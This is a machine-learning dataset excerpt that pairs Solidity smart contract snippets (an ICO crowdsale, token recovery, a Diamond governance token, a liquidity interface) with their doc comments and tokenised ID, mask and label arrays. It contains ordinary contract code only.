addressExistInWhiteList */ function isExistInWhiteList(address _addr) public view returns (bool) { return whiteList[_addr]; } /** * change main start time by owner */ function changeMainStartTime(uint _timestamp) onlyOwner public { mainStartTime = _timestamp; } /** * change main stop time by owner */ function changeMainEndTime(uint _timestamp) onlyOwner public { mainEndTime = _timestamp; } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { require(_addr != address(0)); mainMultisigEther = _addr; } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ maximumCoinsPerAddress = _cnt; } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ require(whiteList[msg.sender]); receiveETH(msg.sender); } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { require(msg.value >= MIN_INVEST_ETHER) ; adjustPhaseBasedOnTime(); uint coinToSend ; if (phase == Phases.MainIco){ Backer storage mainBacker = mainBackers[_beneficiary]; require(mainBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(MAIN_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(mainCoinSentToEther) <= MAIN_MAX_CAP) ; mainBacker.coinSent = mainBacker.coinSent.add(coinToSend); mainBacker.weiReceived = mainBacker.weiReceived.add(msg.value); mainBacker.coinReadyToSend = mainBacker.coinReadyToSend.add(coinToSend); mainReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding mainEtherReceived = mainEtherReceived.add(msg.value); mainCoinSentToEther = mainCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, mainEtherReceived); } } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { if (now < mainStartTime ) { if (phase != Phases.PreStart) { phase = Phases.PreStart; } } else if (now >= mainStartTime && now < mainEndTime) { if (phase != Phases.MainIco) { phase = Phases.MainIco; } }else { if (phase != Phases.AfterIco){ phase = Phases.AfterIco; } } } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ for(uint i=0; i < mainReadyToSendAddress.length ; i++){ address backerAddress = mainReadyToSendAddress[i]; uint coinReadyToSend = mainBackers[backerAddress].coinReadyToSend; if ( coinReadyToSend > 0) { mainBackers[backerAddress].coinReadyToSend = 0; coin.transfer(backerAddress, coinReadyToSend); LogCoinsEmited(backerAddress, coinReadyToSend); } } delete mainReadyToSendAddress; require(mainMultisigEther.send(this.balance)) ; } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) public { require(msg.sender == whiteListOwner); for (uint i =0;i<_whiteList.length;i++){ whiteList[_whiteList[i]] = true; } } /** * Remove address from whiteList by whiteListOwner */ function removeWhiteList(address[] _whiteList) public { require(msg.sender == whiteListOwner); for (uint i =0;i<_whiteList.length;i++){ whiteList[_whiteList[i]] = false; } } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { adjustPhaseBasedOnTime(); require(phase == Phases.AfterIco); require(this.balance > 0); require(mainMultisigEther.send(this.balance)) ; uint remains = coin.balanceOf(this); if (remains > 0) { coin.transfer(owner,remains); } } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { coin.transferOwnership(owner); } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { uint mainRemains = MAIN_MAX_CAP - mainCoinSentToEther; Backer storage backer = mainBackers[owner]; coin.transfer(owner, mainRemains); backer.coinSent = backer.coinSent.add(mainRemains); mainCoinSentToEther = mainCoinSentToEther.add(mainRemains); LogCoinsEmited(this ,mainRemains); LogReceivedETH(owner, mainEtherReceived); } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { uint valueToSend = 0; Backer storage mainBacker = mainBackers[_beneficiary]; if (mainBacker.coinReadyToSend > 0){ uint mainValueToSend = mainBacker.coinReadyToSend.mul(1 ether).div(MAIN_COIN_PER_ETHER_ICO); mainBacker.coinSent = mainBacker.coinSent.sub(mainBacker.coinReadyToSend); mainBacker.weiReceived = mainBacker.weiReceived.sub(mainValueToSend); mainEtherReceived = mainEtherReceived.sub(mainValueToSend); mainCoinSentToEther = mainCoinSentToEther.sub(mainBacker.coinReadyToSend); mainBacker.coinReadyToSend = 0; valueToSend = valueToSend + mainValueToSend; } if (valueToSend > 0){ require(_beneficiary.send(valueToSend)); } } /** * Refund to all address */ function refundAll() onlyOwner public { for(uint j=0; j < mainReadyToSendAddress.length ; j++){ refund(mainReadyToSendAddress[j]); } delete mainReadyToSendAddress; } }
* Manually back TTC owner address./
function backTTCOwner() onlyOwner public { coin.transferOwnership(owner); }
2,076,145
[ 1, 5669, 3452, 1473, 399, 15988, 3410, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1473, 1470, 39, 5541, 1435, 1338, 5541, 1071, 288, 203, 565, 13170, 18, 13866, 5460, 12565, 12, 8443, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x5751b2880D7fE4b1C9e7845eA58221456530Afe7/sources/contracts/FarmAutions.sol
* @notice Allows the owner to recover tokens sent to the contract by mistake @param _token: token address @param _amount: token amount @dev Callable by owner/
function recoverToken(address _token, uint256 _amount) external onlyOwner { require(_token != address(pdustToken), "Recover: Cannot be pDust token"); IERC20(_token).safeTransfer(address(msg.sender), _amount); emit TokenRecovery(_token, _amount); }
4,747,105
[ 1, 19132, 326, 3410, 358, 5910, 2430, 3271, 358, 326, 6835, 635, 27228, 911, 225, 389, 2316, 30, 1147, 1758, 225, 389, 8949, 30, 1147, 3844, 225, 10464, 635, 3410, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5910, 1345, 12, 2867, 389, 2316, 16, 2254, 5034, 389, 8949, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 24899, 2316, 480, 1758, 12, 22353, 641, 1345, 3631, 315, 27622, 30, 14143, 506, 293, 40, 641, 1147, 8863, 203, 203, 3639, 467, 654, 39, 3462, 24899, 2316, 2934, 4626, 5912, 12, 2867, 12, 3576, 18, 15330, 3631, 389, 8949, 1769, 203, 203, 3639, 3626, 3155, 11548, 24899, 2316, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xF9db858E9958dDd5795571558C5c585E2683FB75/sources/contracts/ParagonsDAOPlayerID.sol
@notice Sets PlayerManagement contract.
function setPlayerManagement(PlayerManagement _playerManagement) external onlyOwner { playerManagement = _playerManagement; }
843,788
[ 1, 2785, 19185, 10998, 6835, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 12148, 10998, 12, 12148, 10998, 389, 14872, 10998, 13, 3903, 1338, 5541, 288, 203, 3639, 7291, 10998, 273, 389, 14872, 10998, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x986A4010D6dF5754f66F72764487070615CBDE9A/sources/contracts/Ph101ppDailyPhoto.sol
Returns latest permanent base Uri
function permanentBaseUri() public view returns (string memory) { return _permanentUris[_permanentUris.length - 1]; }
9,362,212
[ 1, 1356, 4891, 16866, 1026, 10693, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 16866, 2171, 3006, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 457, 4728, 319, 23900, 63, 67, 457, 4728, 319, 23900, 18, 2469, 300, 404, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /******************************************************************************\ * Author: Nick Mudge * * Implementation of an ERC20 governance token that can govern itself and a project * using the Diamond Standard. /******************************************************************************/ import { LibDiamond } from "./libraries/LibDiamond.sol"; import { IERC165 } from './interfaces/IERC165.sol'; import { IERC173 } from "./interfaces/IERC173.sol"; import { DiamondLoupeFacet } from './facets/diamond/DiamondLoupeFacet.sol'; import { DiamondCutFacet } from './facets/diamond/DiamondCutFacet.sol'; import { IDiamondLoupe } from './interfaces/IDiamondLoupe.sol'; import { IDiamondCut } from "./interfaces/IDiamondCut.sol"; import { ERC20Token } from './facets/ERC20Token.sol'; import { Governance } from './facets/Governance.sol'; import { ERC20TokenStorage } from './storage/ERC20TokenStorage.sol'; import { GovernanceStorage } from './storage/GovernanceStorage.sol'; import "hardhat/console.sol"; contract Diamond { constructor(address _contractOwner) { LibDiamond.setContractOwner(_contractOwner); // Create a DiamondLoupeFacet contract which implements the Diamond Loupe interface DiamondCutFacet diamondCut = new DiamondCutFacet(); DiamondLoupeFacet diamondLoupe = new DiamondLoupeFacet(); ERC20Token erc20Token = new ERC20Token(); Governance governance = new Governance(); // Add the diamondCut external function from the diamondCutFacet IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](4); bytes4[] memory cutSelector = new bytes4[](1); cutSelector[0] = IDiamondCut.diamondCut.selector; cut[0] = IDiamondCut.FacetCut({ facetAddress: address(diamondCut), action: IDiamondCut.FacetCutAction.Add, functionSelectors: cutSelector }); bytes4[] memory loupeSelectors = new bytes4[](5); loupeSelectors[0] = IDiamondLoupe.facetFunctionSelectors.selector; loupeSelectors[1] = IDiamondLoupe.facets.selector; loupeSelectors[2] = IDiamondLoupe.facetAddress.selector; loupeSelectors[3] = IDiamondLoupe.facetAddresses.selector; loupeSelectors[4] = IERC165.supportsInterface.selector; cut[1] = IDiamondCut.FacetCut({ facetAddress: address(diamondLoupe), action: IDiamondCut.FacetCutAction.Add, functionSelectors: loupeSelectors }); bytes4[] memory governanceSelectors = new bytes4[](6); governanceSelectors[0] = Governance.propose.selector; governanceSelectors[1] = Governance.executeProposal.selector; governanceSelectors[2] = Governance.proposalStatus.selector; governanceSelectors[3] = Governance.proposal.selector; governanceSelectors[4] = Governance.vote.selector; governanceSelectors[5] = Governance.unvote.selector; cut[2] = IDiamondCut.FacetCut({ facetAddress: address(governance), action: IDiamondCut.FacetCutAction.Add, functionSelectors: governanceSelectors }); bytes4[] memory erc20Selectors = new bytes4[](12); erc20Selectors[0] = ERC20Token.name.selector; erc20Selectors[1] = ERC20Token.symbol.selector; erc20Selectors[2] = ERC20Token.decimals.selector; erc20Selectors[3] = ERC20Token.totalSupply.selector; erc20Selectors[4] = ERC20Token.balanceOf.selector; erc20Selectors[5] = ERC20Token.transfer.selector; erc20Selectors[6] = ERC20Token.transferFrom.selector; erc20Selectors[7] = ERC20Token.approve.selector; erc20Selectors[8] = ERC20Token.allowance.selector; erc20Selectors[9] = ERC20Token.increaseAllowance.selector; erc20Selectors[10] = ERC20Token.decreaseAllowance.selector; erc20Selectors[11] = ERC20Token.initMyToken.selector; cut[3] = IDiamondCut.FacetCut({ facetAddress: address(erc20Token), action: IDiamondCut.FacetCutAction.Add, functionSelectors: erc20Selectors }); LibDiamond.diamondCut(cut, address(0), ''); // #tj - needs more looking into // adding ERC165 data LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); ds.supportedInterfaces[IERC165.supportsInterface.selector] = true; bytes4 interfaceID = IDiamondLoupe.facets.selector ^ IDiamondLoupe.facetFunctionSelectors.selector ^ IDiamondLoupe.facetAddresses.selector ^ IDiamondLoupe.facetAddress.selector; ds.supportedInterfaces[interfaceID] = true; // declaring storage ERC20TokenStorage.Layout storage ets = ERC20TokenStorage.layout(); GovernanceStorage.Layout storage gs = GovernanceStorage.layout(); // Set total supply cap. The token supply cannot grow past this. ets.totalSupplyCap = 100_000_000e18; // Require 5 percent of governance token for votes to pass a proposal gs.quorumDivisor = 20; // Proposers must own 1 percent of totalSupply to submit a proposal gs.proposalThresholdDivisor = 100; // Proposers get an additional 5 percent of their balance if their proposal passes gs.proposerAwardDivisor = 20; // Voters get an additional 1 percent of their balance for voting on a proposal gs.voterAwardDivisor = 100; // Cap voter and proposer balance used to generate awards at 5 percent of totalSupply // This is to help prevent too much inflation gs.voteAwardCapDivisor = 20; // Proposals must have at least 48 hours of voting time // gs.minDuration = 48; // Proposals must have no more than 336 hours (14 days) of voting time gs.maxDuration = 336; } fallback() external payable { LibDiamond.DiamondStorage storage ds; bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION; // get diamond storage assembly { ds.slot := position } // get facet from function selector address facet = address(bytes20(ds.facets[msg.sig])); require(facet != address(0), "Diamond: Function does not exist"); // Execute external function from facet using delegatecall and return any value. assembly { // copy function selector and any arguments calldatacopy(0, 0, calldatasize()) // execute function call using the facet let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) // get any return value returndatacopy(0, 0, returndatasize()) // return any return value or error back to the caller switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } receive() external payable {} }
Cap voter and proposer balance used to generate awards at 5 percent of totalSupply This is to help prevent too much inflation
gs.voteAwardCapDivisor = 20;
984,828
[ 1, 4664, 331, 20005, 471, 450, 5607, 11013, 1399, 358, 2103, 279, 6397, 622, 1381, 5551, 434, 2078, 3088, 1283, 1220, 353, 358, 2809, 5309, 4885, 9816, 13947, 367, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 10763, 18, 25911, 37, 2913, 4664, 7244, 12385, 273, 4200, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/80001/0xB6e054963a22E3f0b942BA9285b9192B2C327636/sources/@cryptoalgebra/integral-periphery/contracts/interfaces/IPositionFollower.sol
@title Contract tracking liquidity position @notice Using these methods farmingCenter receives information about changes in the positions
interface IPositionFollower { function applyLiquidityDelta(uint256 tokenId, int256 liquidityDelta) external; pragma solidity >=0.5.0; }
8,797,062
[ 1, 8924, 11093, 4501, 372, 24237, 1754, 225, 11637, 4259, 2590, 284, 4610, 310, 8449, 17024, 1779, 2973, 3478, 316, 326, 6865, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
